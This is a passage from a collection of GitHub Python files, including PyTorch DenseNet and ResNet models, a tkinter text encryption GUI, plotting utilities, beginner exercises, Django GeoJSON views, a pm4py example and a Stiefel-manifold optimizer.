nll:\n# self.softmax = F.log_softmax\n# else:\n# self.softmax = F.softmax\n\n# def forward(self, x):\n# # convolve 32 down to 2 channels\n# out = self.relu1(self.bn1(self.conv1(x)))\n# out = self.conv2(out)\n\n# # make channels the last axis\n# out = out.permute(0, 2, 3, 4, 1).contiguous()\n# # flatten\n# out = out.view(out.numel() // 2, 2)\n# out = self.softmax(out)\n# # treat channel 0 as the predicted output\n# return out\n\nclass OutputTransition(nn.Module):\n def __init__(self, inChans, out_number):\n super(OutputTransition, self).__init__()\n self.bn1 = nn.BatchNorm3d(inChans)\n self.relu1 = nn.ReLU(inplace=True)\n self.conv1 = nn.Conv3d(inChans, out_number, kernel_size=5)\n self.conv3 = nn.Conv3d(4, out_number, kernel_size=2)\n\n\n def forward(self, x):\n out = self.conv1(self.relu1(self.bn1(x)))\n # out = self.conv3(self.relu1(out))\n # print (out)\n return out\n\nclass PhenotypeLayer(nn.Module):\n \"\"\"docstring for PhenotypeLayer\"\"\"\n def __init__(self):\n super(PhenotypeLayer, self).__init__()\n self.layer1_c = nn.Linear(80, 32)\n self.layer1_a = nn.Linear(1, 32)\n self.layer1_t = nn.Linear(1, 32)\n self.layer2 = nn.Linear(32, 2)\n\n def forward(self, _class, _age, _tiv):\n out_c = self.layer1_c(_class)\n out_a = self.layer1_a(_age)\n out_t = self.layer1_t(_tiv)\n out = out_c + out_t + out_a\n out = self.layer2(out)\n return out\n\nclass DenseNet3D(nn.Module):\n \"\"\"Densenet-BC model class, based on\n `\"Densely Connected Convolutional Networks\" `_\n\n Args:\n growth_rate (int) - how many filters to add each layer (`k` in paper)\n block_config (list of 4 ints) - how many layers in each pooling block\n num_init_features (int) - the number of filters to learn in the first convolution layer\n bn_size (int) - multiplicative factor for number of bottle neck layers\n (i.e. bn_size * k features in the bottleneck layer)\n drop_rate (float) - dropout rate after each dense layer\n out_number (int) - number of classification classe\n \"\"\"\n def __init__(self, growth_rate=4, block_config=(1, 2, 3),\n num_init_features=8, bn_size=4, drop_rate=0.2, out_number=10):\n\n super(DenseNet3D, self).__init__()\n\n # First convolution\n self.features = nn.Sequential(OrderedDict([\n ('conv0', nn.Conv3d(1, num_init_features, kernel_size=3, stride=1, padding=2, bias=False)),\n ('norm0', nn.BatchNorm3d(num_init_features)),\n ('relu0', nn.ReLU(inplace=True)),\n ('pool0', nn.AvgPool3d(kernel_size=3, stride=2, padding=1)),# Average Pooling layer\n ]))\n\n # Each denseblock\n num_features = num_init_features\n for i, num_layers in enumerate(block_config):\n block = _DenseBlock(num_layers=num_layers, num_input_features=num_features,\n bn_size=bn_size, growth_rate=growth_rate, drop_rate=drop_rate)\n self.features.add_module('db%d' % (i + 1), block)\n num_features = num_features + num_layers * growth_rate\n if i != len(block_config) - 1:\n trans = _Strider(num_input_features=num_features, num_output_features=num_features // 2)\n self.features.add_module('strider%d' % (i + 1), trans)\n num_features = num_features // 2\n\n # Final batch norm\n # self.features.add_module('norm5', nn.BatchNorm3d(num_features)) ### added OutputTransition\n\n # Linear layer\n # self.Linear_classifier = nn.Linear(8*8*8, num_classes)\n self.classifier = OutputTransition(num_features, out_number)\n\n # Official init from torch repo.\n for m in self.modules():\n if isinstance(m, nn.Conv3d):\n nn.init.kaiming_normal(m.weight.data)\n elif isinstance(m, nn.BatchNorm3d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n m.bias.data.zero_()\n\n def forward(self, x, age, tiv):\n # print (\"DATA: \", x.size())\n features = self.features(x)\n # print (\"features: \", features.size())\n out = F.relu(features, inplace=True)\n out = self.classifier(out)\n # print (\"classifier: \", out.size())\n out = out.view(out.size(0), -1)\n # print (\"linear: \", out.size())\n out = PhenotypeLayer().cuda()(out, age, tiv)\n # print (\"phType: \", out.size())\n out = F.softmax(out)\n return out\n","repo_name":"koriavinash1/PAC18","sub_path":"src/DensenetModels.py","file_name":"DensenetModels.py","file_ext":"py","file_size_in_byte":7300,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"}
+{"seq_id":"72993383627","text":"import tkinter as tk\nfrom tkinter.filedialog import askopenfilename\nfrom design import *\nfrom crypt import encrypt_message, decrypt_message\nimport datetime\n\n\nroot = tk.Tk()\nroot.title('Final Project')\nroot.geometry('1080x720')\nroot.resizable(False,False)\nroot.configure(bg=WINDOW_BACKGROUND)\n\n#Frame Creations:\nleft_frame = tk.Frame(root, bg=WINDOW_BACKGROUND)\nleft_frame.pack(side=tk.LEFT, fill=tk.BOTH, expand=tk.YES)\n\nright_frame = tk.Frame(root, bg=WINDOW_BACKGROUND)\nright_frame.pack(side=tk.RIGHT, fill=tk.BOTH, expand=tk.YES)\n\n#Title Creations:\ntitle_encryption = tk.Label(left_frame, text='Encryption', font=TITLE_DESIGN)\ntitle_encryption.pack(side=tk.TOP)\n\ntitle_entry_encrypt = tk.Label(left_frame, text = 'Text to Encrypt: ',font=SECONDARY_TITLE_DESIGN)\ntitle_entry_encrypt.pack(side=tk.TOP)\n\ntitle_decryption = tk.Label(right_frame, text='Decryption', font=TITLE_DESIGN)\ntitle_decryption.pack(side=tk.TOP)\n\ntitle_entry_decrypt = tk.Label(right_frame, text = 'Text to Decrypt: ',font=SECONDARY_TITLE_DESIGN)\ntitle_entry_decrypt.pack(side=tk.TOP)\n\n#Entry Creations\nvariable_encrypt = tk.StringVar(left_frame)\nentry_encrypt = tk.Entry(left_frame, width=72,\n textvariable=variable_encrypt)\nentry_encrypt.pack(side=tk.TOP)\n\nvariable_decrypt = tk.StringVar(right_frame)\nentry_decrypt = tk.Entry(right_frame, width=72,\n textvariable=variable_decrypt)\nentry_decrypt.pack(side=tk.TOP)\n\n#Results:\nresult_text_encrypt = tk.Label(left_frame, text=\"\", font=TEXT_DESIGN, bg=WINDOW_BACKGROUND)\nresult_text_encrypt.pack(side=tk.TOP, pady=100)\n\nresult_text_decrypt = tk.Label(right_frame, text=\"\", font=TEXT_DESIGN, bg=WINDOW_BACKGROUND)\nresult_text_decrypt.pack(side=tk.TOP, pady=100)\n\n#Functions of Buttons/File Saves:\ndef save_file(folder_name, text_to_write):\n file_name = str(datetime.datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\"))\n file_to_write = open(f'{folder_name}\\\\{file_name}.txt', 'w')\n file_to_write.write(f'{text_to_write}')\n file_to_write.close()\n if 'encrypt' in folder_name.lower():\n result_text_encrypt.configure(text=f\"Encrypt Text Saved!\")\n elif 'decrypt' in folder_name.lower():\n result_text_decrypt.configure(text=f\"Decrypt Text Saved!\")\n\ndef action_encrypt_text(input_type, output_type, text_to_encrypt=None):\n if input_type == 'text':\n encrypted_text = encrypt_message(text_to_encrypt)\n if output_type == \"text\":\n result_text_encrypt.configure(text=encrypted_text)\n elif output_type == \"file\":\n save_file('EncryptedMessages', encrypted_text)\n elif input_type =='file':\n file_to_open = askopenfilename()\n file_to_read = open(file_to_open, 'r')\n file_content = file_to_read.read()\n file_to_read.close()\n if output_type == \"text\":\n encrypted_text = encrypt_message(file_content)\n result_text_encrypt.configure(text=encrypted_text)\n elif output_type == \"file\":\n encrypted_text = encrypt_message(file_content)\n save_file('EncryptedMessages', encrypted_text)\n\n\ndef action_decrypt_text(input_type, output_type, text_to_decrypt=None):\n if input_type == 'text':\n decrypted_text = decrypt_message(text_to_decrypt)\n if output_type == \"text\":\n result_text_decrypt.configure(text=decrypted_text)\n elif output_type == \"file\":\n save_file('DecryptedMessages', decrypted_text)\n elif input_type =='file':\n file_to_open = askopenfilename()\n file_to_read = open(file_to_open, 'r')\n file_content = file_to_read.read()\n file_to_read.close()\n if output_type == \"text\":\n decrypted_text = decrypt_message(file_content)\n result_text_decrypt.configure(text=decrypted_text)\n elif output_type == \"file\":\n decrypted_text = decrypt_message(file_content)\n save_file('DecryptedMessages', decrypted_text)\n\n\n\n#Button Creations:\n#Encrypt Buttons:\nencrypt_text_to_text = tk.Button(left_frame, text='Encrypt Text!',\n font=BUTTON_DESIGN,\n bg=ENCRYPT_BUTTON_BACKGROUND,\n command=lambda: action_encrypt_text(\n text_to_encrypt=variable_encrypt.get(),\n input_type='text',\n output_type='text'\n ))\nencrypt_text_to_text.pack(side=tk.TOP, padx=10, pady = 20)\n\nencrypt_to_file = tk.Button(left_frame, text='Encrypt Text to File!',\n bg=ENCRYPT_BUTTON_BACKGROUND,\n font=BUTTON_DESIGN,\n command=lambda: action_encrypt_text(\n text_to_encrypt=variable_encrypt.get(),\n input_type='text',\n output_type='file'\n ))\nencrypt_to_file.pack(side=tk.TOP, padx=10, pady = 20)\n\nencrypt_from_file = tk.Button(left_frame, text='Encrypt from File!', font=BUTTON_DESIGN,\n bg=ENCRYPT_BUTTON_BACKGROUND,\n command=lambda: action_encrypt_text(\n input_type='file',\n output_type='text'\n ))\nencrypt_from_file.pack(side=tk.TOP, padx=10, pady = 20)\n\nencrypt_from_file_to_file = tk.Button(left_frame, text='Encrypt from File to Another File',\n font=BUTTON_DESIGN,\n bg=ENCRYPT_BUTTON_BACKGROUND,\n command=lambda: action_encrypt_text(\n input_type='file',\n output_type='file'\n ))\nencrypt_from_file_to_file.pack(side=tk.TOP, padx=10, pady = 20)\n\n#Decrypt Buttons:\ndecrypt_text = tk.Button(right_frame, text='Decrypt Text!', font=BUTTON_DESIGN,\n bg=DECRYPT_BUTTON_BACKGROUND,\n command=lambda: action_decrypt_text(\n input_type='text',\n output_type='text',\n text_to_decrypt=variable_decrypt.get()\n ))\ndecrypt_text.pack(side=tk.TOP, padx=10, pady=20)\n\ndecrypt_text_to_file = tk.Button(right_frame, text='Decrypt Text to File!', font=BUTTON_DESIGN,\n bg=DECRYPT_BUTTON_BACKGROUND,\n command=lambda: action_decrypt_text(\n input_type='text',\n output_type='file',\n text_to_decrypt=variable_decrypt.get()\n ))\ndecrypt_text_to_file.pack(side=tk.TOP, padx=10, pady=20)\n\ndecrypt_from_file = tk.Button(right_frame,text=\"Decrypt from File!\",font=BUTTON_DESIGN,\n bg=DECRYPT_BUTTON_BACKGROUND,\n command=lambda: action_decrypt_text(\n input_type='file',\n output_type='text',\n ))\ndecrypt_from_file.pack(side=tk.TOP, padx=10, pady=20)\n\ndecrypt_from_file_to_file = tk.Button(right_frame,text=\"Decrypt from File to Another File!\",font=BUTTON_DESIGN,\n bg=DECRYPT_BUTTON_BACKGROUND,\n command=lambda: action_decrypt_text(\n input_type='file',\n output_type='file'\n ))\ndecrypt_from_file_to_file.pack(side=tk.TOP, padx=10, pady=20)\n\nroot.mainloop()","repo_name":"JLessons/Transposition","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"12714830653","text":"orders = int(input())\ntotal_order = 0\n\nfor order in range(1, orders + 1):\n price_per_capsule = float(input())\n days = int(input())\n capsules_per_day = int(input())\n if price_per_capsule < 0.01 or price_per_capsule > 100:\n continue\n elif days < 1 or days > 31:\n continue\n elif capsules_per_day < 1 or capsules_per_day > 2000:\n continue\n else:\n price_order = price_per_capsule * days * capsules_per_day\n total_order += price_order\n print(f\"The price for the coffee is: ${price_order:.2f}\")\nprint(f\"Total: ${total_order:.2f}\")\n","repo_name":"BorislavRaynov/SoftUniModules","sub_path":"02_fundamentals_python/05_basic_syntax_conditional_statements_and_loops/05_exercises/05_orders.py","file_name":"05_orders.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"27911673445","text":"\"\"\"\nPlotting functions.\n\"\"\"\nimport typing as tp\nimport matplotlib.pyplot as plt\nfrom matplotlib import ticker\nimport numpy as np\nfrom . import errors as err\n\n\ndef plot_multiple(data_x, *args, **kwargs):\n \"\"\"\n Plot multiple data curves against a same x-axis on mulitple subplots.\n\n Arguments:\n datax (darray): the data point on the x-axis.\n *args: each entry of args is a list containing multiple sets of data\n and parameters that will be plotted in the same subplot.\n An entry should follow the format `(data_1, param_1, ...)`,\n where each of the `data_i` is a numpy array, and each of the\n `param_i` is a `dict` of the parameters for ploting `data_i` against\n `data_x`. Alternatively, an entry can simply be an numpy array. In\n this case, only one curve will be plotted in the corresponding\n subplot.\n\n Keyword Arguments:\n figw (float): the figure width.\n figh (float): the figure height.\n xlabel (str): the label of the x-axis.\n\n The additional keyword arguments will propagate into the private\n plotting method `_plot`, and eventually into the `pyplot.plot` method.\n \"\"\"\n\n def _plot(axe, data_x, data_y, **kwargs):\n \"\"\"\n Arguments:\n axe (matplotlib.Axes.axe): the axe of the subplot.\n data_x (darray): the data point along the x-axis.\n data_y (darray): the data point along the y-axis.\n\n Keyword Arguments:\n xlim (tuple): a tuple-like with two entries of limits of the x-axis.\n ylim (tuple): a tuple-like with two entries of limits of the y-axis.\n spike (bool): specify if `data_y` is a spike sequence.\n ylabel (str): the label of the y-axis.\n ds_rate (int): the downsample rate of the data.\n\n The additional keyword arguments will propagate into the\n `pyplot.plot` method. For example, one could use `label` to add a\n legend to a curve.\n \"\"\"\n xlim = kwargs.pop(\"xlim\", None)\n ylim = kwargs.pop(\"ylim\", None)\n spike = kwargs.pop(\"spike\", False)\n ylabel = kwargs.pop(\"ylabel\", None)\n ds_rate = kwargs.pop(\"ds_rate\", None)\n\n if spike:\n ylim = [0, 1.2]\n ylabel = ylabel or \"Spike Train\"\n axe.yaxis.set_ticklabels([\" \"])\n\n if ds_rate is not None:\n data_x = data_x[::ds_rate]\n data_y = data_y[::ds_rate]\n\n axe.plot(data_x, data_y, **kwargs)\n\n if xlim:\n axe.set_xlim(xlim)\n if ylim:\n axe.set_ylim(ylim)\n if ylabel:\n axe.set_ylabel(ylabel)\n\n figw = kwargs.pop(\"figw\", 5)\n figh = kwargs.pop(\"figh\", 2)\n xlabel = kwargs.pop(\"xlabel\", \"Time, [s]\")\n\n num = len(args)\n\n fig, axes = plt.subplots(num, 1, figsize=(figw, num * figh))\n\n if not hasattr(axes, \"__len__\"):\n axes = [axes]\n\n for i, (dataset, axe) in enumerate(zip(args, axes)):\n axe.grid()\n if i < num - 1:\n axe.xaxis.set_ticklabels([])\n\n if isinstance(dataset, np.ndarray):\n param_list = [{}]\n data_list = [dataset]\n else:\n param_list = dataset[1::2]\n data_list = dataset[0::2]\n\n has_legend = False\n for data_y, subkwargs in zip(data_list, param_list):\n for key, val in kwargs.items():\n if not key in subkwargs:\n subkwargs[key] = val\n has_legend = has_legend or (\"label\" in subkwargs)\n _plot(axe, data_x, data_y, **subkwargs)\n if has_legend:\n axe.legend()\n\n axes[-1].set_xlabel(xlabel)\n plt.tight_layout()\n\n return fig, axes\n\n\ndef plot_spikes(\n spikes: np.ndarray,\n dt: float = None,\n t: np.ndarray = None,\n ax: plt.Axes = None,\n markersize: int = None,\n color: tp.Union[str, tp.Any] = \"k\",\n) -> plt.Axes:\n \"\"\"\n Plot Spikes in raster format\n Arguments:\n spikes: the spike states in binary format, where 1 stands for a spike.\n The shape of the spikes should either be (N_times, ) or (N_trials, N_times)\n dt: time resolution of the time axis.\n t: time axes for the spikes, use arange if not provided\n\n .. note::\n\n If `t` is specified, it is assumed to have the same\n length as `mat.shape[1]`, which is used to find the x coordinate of\n the spiking values of the data. If `t` is\n not specified, the time-axis is formated by resolution `dt`.\n `dt` is assumed to be 1 if not specified.\n\n ax: which axis to plot into, create one if not provided\n markersize: size of raster\n color: color for the raster. Any acceptable type of `matplotlib.pyplot.plot`'s\n color argument is accepted.\n Returns:\n ax: the axis that the raster is plotted into\n \"\"\"\n spikes = np.atleast_2d(spikes)\n if spikes.ndim != 2:\n raise err.NeuralPlotError(\n f\"matrix need to be of ndim 2, (channels x time), got ndim={spikes.ndim}\"\n )\n\n if t is not None:\n if len(t) != spikes.shape[1]:\n raise err.NeuralPlotError(\n \"Time vector 't' does not have the same shape as the matrix.\"\n f\" Expected length {spikes.shape[1]} but got {len(t)}\"\n )\n else:\n if dt is None:\n dt = 1.0\n else:\n if not np.isscalar(dt):\n raise err.NeuralPlotError(\"dt must be a scalar value.\")\n t = np.arange(spikes.shape[1]) * dt\n\n if ax is None:\n fig = plt.gcf()\n ax = fig.add_subplot()\n\n neu_idx, t_idx = np.nonzero(spikes)\n\n try:\n ax.plot(t[t_idx], neu_idx, \"|\", c=color, markersize=markersize)\n except ValueError as e:\n raise err.NeuralPlotError(\n \"Raster plot failed, likely an issue with color or markersize setting\"\n ) from e\n except IndexError as e:\n raise err.NeuralPlotError(\n \"Raster plot failed, likely an issue with spikes and time vector mismatch\"\n ) from e\n except Exception as e:\n raise err.NeuralPlotError(\"Raster plot failed due to unknown error\") from e\n ax.set_xlim([t.min(), t.max()])\n return ax\n\n\ndef plot_mat(\n mat: np.ndarray,\n dt: float = None,\n t: np.ndarray = None,\n ax: plt.Axes = None,\n cax=None,\n vmin: float = None,\n vmax: float = None,\n cbar_kw: dict = None,\n cmap: tp.Any = None,\n) -> tp.Union[tp.Tuple[plt.Axes, tp.Any], plt.Axes]:\n \"\"\"\n Plot Matrix with formatted time axes\n\n Arguments:\n mat: the matrix to be plotted, it should of shape (N, Time)\n dt: time resolution of the time axis.\n t: time axes for the spikes, use arange if not provided.\n\n .. note::\n\n If `t` is specified, it is assumed to have the same\n length as `mat.shape[1]`. Consequently, the x-axis will be formatted\n to take the corresponding values from `t` based on index. If `t` is\n not specified, the time-axis is formated by resolution `dt`.\n If neither are specified, `dt` is assumed to be 1.\n\n ax: which axis to plot into, create one if not provided\n cax: which axis to plot colorbar into\n - if instance of axis, plot into that axis\n - if is True, steal axis from `ax`\n vmin: minimum value for the imshow\n vmax: maximum value for the imshow\n cbar_kw: keyword arguments to be passed into the colorbar creation\n cmap: colormap to use\n\n Returns:\n ax: the axis that the raster is plotted into\n cbar: colorbar object\n - only returned if cax is `True` or a `plt.Axes` instance\n\n Example:\n >>> dt, dur, start, stop = 1e-4, 2, 0.5, 1.0\n >>> t = np.arange(0, dur, dt)\n >>> amps = np.arange(0, 100, 10)\n >>> wav = utils.generate_stimulus('step', dt, dur, (start, stop), amps)\n >>> ax,cbar = plot_mat(wav, t=t, cax=True, vmin=10, vmax=100, cbar_kw={'label':'test'}, cmap=plt.cm.gnuplot)\n >>> ax, = plot_mat(wav, t=t, cax=False, vmin=10, vmax=100, cbar_kw={'label':'test'}, cmap=plt.cm.gnuplot)\n \"\"\"\n mat = np.atleast_2d(mat)\n if mat.ndim != 2:\n raise err.NeuralPlotError(\n \"matrix need to be of ndim 1 (N_time),or ndim 2 (N_trials x N_times),\"\n f\" got ndim={mat.ndim}\"\n )\n if t is not None:\n if len(t) != mat.shape[1]:\n raise err.NeuralPlotError(\n \"Time vector 't' does not have the same shape as the matrix.\"\n f\" Expected length {mat.shape[1]} but got {len(t)}\"\n )\n\n @ticker.FuncFormatter\n def major_formatter(x, pos):\n return \"{:.1f}\".format(np.interp(x, np.arange(len(t)), t))\n\n else:\n if dt is None:\n dt = 1\n\n @ticker.FuncFormatter\n def major_formatter(x, pos):\n return \"{:.1f}\".format(dt * x)\n\n if ax is None:\n fig = plt.gcf()\n ax = fig.add_subplot()\n\n cim = ax.imshow(\n mat,\n aspect=\"auto\",\n interpolation=\"none\",\n origin=\"lower\",\n vmin=vmin,\n vmax=vmax,\n cmap=cmap,\n )\n ax.xaxis.set_major_formatter(major_formatter)\n\n if cax:\n if cbar_kw is None:\n cbar_kw = {}\n if not isinstance(cax, plt.Axes):\n cbar = plt.colorbar(cim, ax=ax, **cbar_kw)\n else:\n cbar = plt.colorbar(cim, cax, **cbar_kw)\n return ax, cbar\n else:\n return (ax,)\n\n\ndef yyaxis(ax: plt.Axes, c: \"color\" = \"red\") -> plt.Axes:\n \"\"\"Create A second axis with colored spine/ticks/label\n\n Note:\n This method will only make the twinx look like the color in\n MATLAB's :code:`yyaxis` function. However, unlike in MATLAB,\n it will not set the linestyle and linecolor of the lines that\n are plotted after twinx creation.\n\n Arguments:\n ax: the main axis to generate a twinx from\n c: color of the twinx, see https://matplotlib.org/stable/gallery/color/color_demo.html\n for color specifications accepted by matplotlib.\n \"\"\"\n ax2 = ax.twinx()\n ax2.spines[\"right\"].set_color(c)\n ax2.tick_params(axis=\"y\", colors=c)\n ax2.yaxis.label.set_color(c)\n return ax2\n","repo_name":"chungheng/neural","sub_path":"neural/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":10345,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"27424444671","text":"\r\n# Write a program that accepts multiple number of sentences as input and prints the lines after making all characters in the sentence capitalized.\r\n\r\ndef MutipleInput():\r\n p,q =input(\"Enter your First String: \\n\"),input(\"Enter the Second String:\\n\").capitalize()\r\n words = p.upper()\r\n wordCount = q.upper()\r\n print(wordCount,words)\r\nMutipleInput()\r\n\r\n#2) Write a program that accepts a sequence of whitespace separated words as input and prints the words after removing all duplicate words and sorting them alphanumerically.\r\n\r\nfrom collections import OrderedDict\r\n\r\ndef Duplicat(string):\r\n word= (' '.join(OrderedDict((w,w) for w in string.split()).keys()))\r\n told=word.split()\r\n told.sort()\r\n return \"\".join(told)\r\nstring=\"hello world and practice makes perfect and hello world again\"\r\nprint(Duplicat(string))\r\n\r\n\r\n#3) We have a count 35 heads and 94 legs among the chickens and rabbits in a farm. How many rabbits and how many chickens do we have? Write a program to get the answer,\r\n\r\ndef RabbitChicken(sum,leg):\r\n for rabbit in range(sum+1): #According to the first equation:- x+y=34\r\n chicken=sum-rabbit #According to the second equation:- 4x +2y=94\r\n if 2*chicken+4*rabbit==leg: #Multiply the first equation by 2\r\n return chicken,rabbit\r\n return None,None\r\n\r\nif __name__ == '__main__':\r\n try:\r\n heads=int(input(\"Enter the number of head:\\n\"))\r\n legs=int(input(\"Enter the number of leg:\\n\"))\r\n res=RabbitChicken(heads,legs)\r\n print(\"number of rabbit %d and number of chicken%d\"%res)\r\n except TypeError:\r\n print(\"invalid\")\r\n\r\n\r\n#4) Create a function that accepts single list containing letters or may be words. Total number of elements in a list may vary. In turn, it counts the number of occurrences in a list for each element and returns user a dictionary with total number of counts for each element. Please remember to include case-sensitive match i.e. 'user1' is not equal to 'User1' word.\r\n\r\ndef show(mylist):\r\n dict1 = {} # empty dictionary\r\n for item in mylist:\r\n if (item in dict1):\r\n dict1[item] += 1\r\n else:\r\n dict1[item] = 1\r\n for key, value in dict1.items():\r\n print (\"% s : % s\"%(key, value))\r\n\r\nif __name__ == \"__main__\":\r\n mylist =['python', 'pyhton3', 'user1', 'assignment', 'user', 'user1', 'python', 'User1']\r\n show(mylist)\r\n\r\n#5) Create a function that accepts a list containing integers. Total number of elements in list may vary. Your method should return back the list removing duplicates from list. So lets say if user passes a following list to your function as input:\r\n\r\n\r\ndef hack(mylsit):\r\n res=[]\r\n for i in mylsit:\r\n if i not in res:\r\n res.append(i)\r\n return res\r\nmylist= [1,2,55,1,3,2,34,55]\r\nprint(hack(mylist))","repo_name":"saveplanet18/-Ashesh-Sutha","sub_path":"Ashes Suthar.py","file_name":"Ashes Suthar.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"16710995034","text":"from django.shortcuts import render\nfrom .models import Cities\nfrom .serializers import CitiesSerializer, CitiesGeoJSONSerializer\nfrom rest_framework import viewsets\nfrom rest_framework_gis.filters import InBBoxFilter,TMSTileFilter,DistanceToPointFilter\n\nclass CitiesViewSet(viewsets.ModelViewSet):\n queryset = Cities.objects.all()\n serializer_class = CitiesSerializer\n\n\ndef home(request):\n allcities = Cities.objects.all()\n contenxt = {\n 'allcities':allcities\n }\n return render(request, 'home.html',contenxt)\n\n\nclass CitiesGeoJSONViewSet(viewsets.ModelViewSet):\n queryset = Cities.objects.all()\n serializer_class = CitiesGeoJSONSerializer \n\n\nclass CitiesInBBOX(viewsets.ModelViewSet):\n\n queryset = Cities.objects.all()\n serializer_class = CitiesGeoJSONSerializer\n bbox_filter_field = 'geometry'\n filter_backends = (InBBoxFilter,)\n bbox_filter_include_overlapping = True # Optional\n\nclass CitiesInTMS(viewsets.ModelViewSet):\n\n queryset = Cities.objects.all()\n serializer_class = CitiesGeoJSONSerializer\n bbox_filter_field = 'geometry'\n filter_backends = (TMSTileFilter,)\n bbox_filter_include_overlapping = True # Optional\n","repo_name":"krishnaglodha/spatial-apis-25-min","sub_path":"pokestar/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"22342504654","text":"import pm4py\n\n\ndef execute_script():\n # example where the log skeleton is manullay built, and not automatically discovered from the log.\n\n log = pm4py.read_xes(\"../tests/input_data/running-example.xes\")\n\n log_skeleton = {\"always_after\": set(), \"always_before\": set(), \"equivalence\": set(), \"never_together\": set(),\n \"directly_follows\": set(), \"activ_freq\": dict()}\n\n for act in pm4py.get_event_attribute_values(log, \"concept:name\"):\n # initially sets that every activity of the log can occur from 0 to 10 times\n # (without this constraints, conformance checking will signal deviations for every event)\n log_skeleton[\"activ_freq\"][act] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}\n\n # sets that the 'reinitiate request' activity should not occur (so it occurs 0 times)\n log_skeleton[\"activ_freq\"][\"reinitiate request\"] = {0}\n\n # sets that the 'pay compensation' activity should occur somewhen after the 'decide' activity.\n log_skeleton[\"always_after\"].add(('decide', 'pay compensation'))\n\n # gets the conformance checking results. The first describes for each case of the log the exact deviations\n detailed_conf_results = pm4py.conformance_log_skeleton(log, log_skeleton)\n print(detailed_conf_results)\n\n # the second provides a summary (as a dataframe) of the fitness per case\n summary_df = pm4py.conformance_log_skeleton(log, log_skeleton, return_diagnostics_dataframe=True)\n print(summary_df)\n\n\nif __name__ == \"__main__\":\n execute_script()\n","repo_name":"pm4py/pm4py-core","sub_path":"examples/log_skeleton_manual_constraints.py","file_name":"log_skeleton_manual_constraints.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":604,"dataset":"github-code","pt":"82"}
+{"seq_id":"6347014062","text":"# --------------------\r\n# (S)GD on Stiefel manifold in `A feasible method for optimization with orthogonality constraints'\r\n# (https://link.springer.com/article/10.1007/s10107-012-0584-1)\r\n# This algorithm is termed as `Momentumless Stiefel SGD' in our paper\r\n# --------------------\r\n\r\nimport torch\r\nimport torch.nn.functional as F\r\nfrom torch.optim import Optimizer\r\nimport torch.nn as nn\r\nimport numpy as np\r\nimport math\r\nfrom torch import Tensor\r\nfrom typing import List, Optional\r\n# torch.set_default_tensor_type(torch.DoubleTensor)\r\n\r\nclass _RequiredParameter(object):\r\n \"\"\"Singleton class representing a required parameter for an Optimizer.\"\"\"\r\n def __repr__(self):\r\n return \"\"\r\n\r\nrequired = _RequiredParameter()\r\n\r\nclass MomentumlessStiefelSGD(Optimizer):\r\n def __init__(self, params, lr=required, method='NAG-SC', other_params=None, if_cayley=True):\r\n r'''\r\n Arguments:\r\n net: must be a plain fully connected nn. Recommand generated with class OrthogonalNN\r\n gamma: gamma in the AISTAT paper (momentum)\r\n\r\n '''\r\n if lr is not required and lr < 0.0:\r\n raise ValueError(\"Invalid learning rate: {}\".format(lr))\r\n\r\n defaults = dict(lr=lr, method=method, other_params=other_params, if_cayley=if_cayley)\r\n super(MomentumlessStiefelSGD, self).__init__(params, defaults)\r\n def __setstate__(self, state):\r\n super(MomentumlessStiefelSGD, self).__setstate__(state)\r\n\r\n @torch.no_grad()\r\n \r\n def step(self):\r\n \"\"\"Performs a single optimization step.\r\n\r\n buf: xi in algorithm 2\r\n p: R in algotithm 2\r\n\r\n Arguments:\r\n closure (callable, optional): A closure that reevaluates the model\r\n and returns the loss.\r\n \"\"\"\r\n loss = None\r\n\r\n for group in self.param_groups:\r\n lr = group['lr']\r\n \r\n for p_raw in group['params']:\r\n if p_raw.grad is None:\r\n continue\r\n p=p_raw.view(p_raw.size()[0],-1)\r\n p_grad=p_raw.grad.view(p_raw.size()[0],-1)\r\n if p.shape[0] 16:\n print(\"Grade 16+\")\nelse:\n print(\"Grade: \", index)","repo_name":"Minta-Ra/CS50x_2021","sub_path":"Pset_6/Readability/readability.py","file_name":"readability.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"41465313936","text":"import torch\nimport torch.nn as nn\nfrom torchsummary import summary\n\n\nimport torch.nn as nn\n\n\nclass ResnetBlock(nn.Module):\n expansion = 1\n\n def __init__(self, in_channels, out_channels, stride=1, padding='same'):\n super(ResnetBlock, self).__init__()\n self.conv1 = nn.Conv2d(\n in_channels,\n out_channels,\n kernel_size=3,\n stride=stride,\n padding=padding,\n bias=False,\n )\n self.bn1 = nn.BatchNorm2d(out_channels)\n self.conv2 = nn.Conv2d(\n out_channels,\n out_channels,\n kernel_size=3,\n stride=stride,\n padding=padding,\n )\n self.bn2 = nn.BatchNorm2d(out_channels)\n\n self.shortcut = nn.Sequential()\n\n if stride != 1 or in_channels != self.expansion * out_channels:\n self.shortcut = nn.Sequential(\n nn.Conv2d(\n in_channels,\n self.expansion * out_channels,\n kernel_size=1,\n stride=stride,\n bias=False,\n ),\n nn.BatchNorm2d(self.expansion * out_channels),\n )\n\n def forward(self, x):\n out = nn.ReLU()(self.bn1(self.conv1(x)))\n out = self.bn2(self.conv2(out))\n out += self.shortcut(x)\n out = nn.ReLU()(out)\n return out\n\n\nclass ResnetBackBone(nn.Module):\n def __init__(self):\n\n \n super(ResnetBackBone, self).__init__()\n \n # Conv1_x\n self.conv1_1 = nn.Conv2d(\n 1, 32, stride=(1, 1), 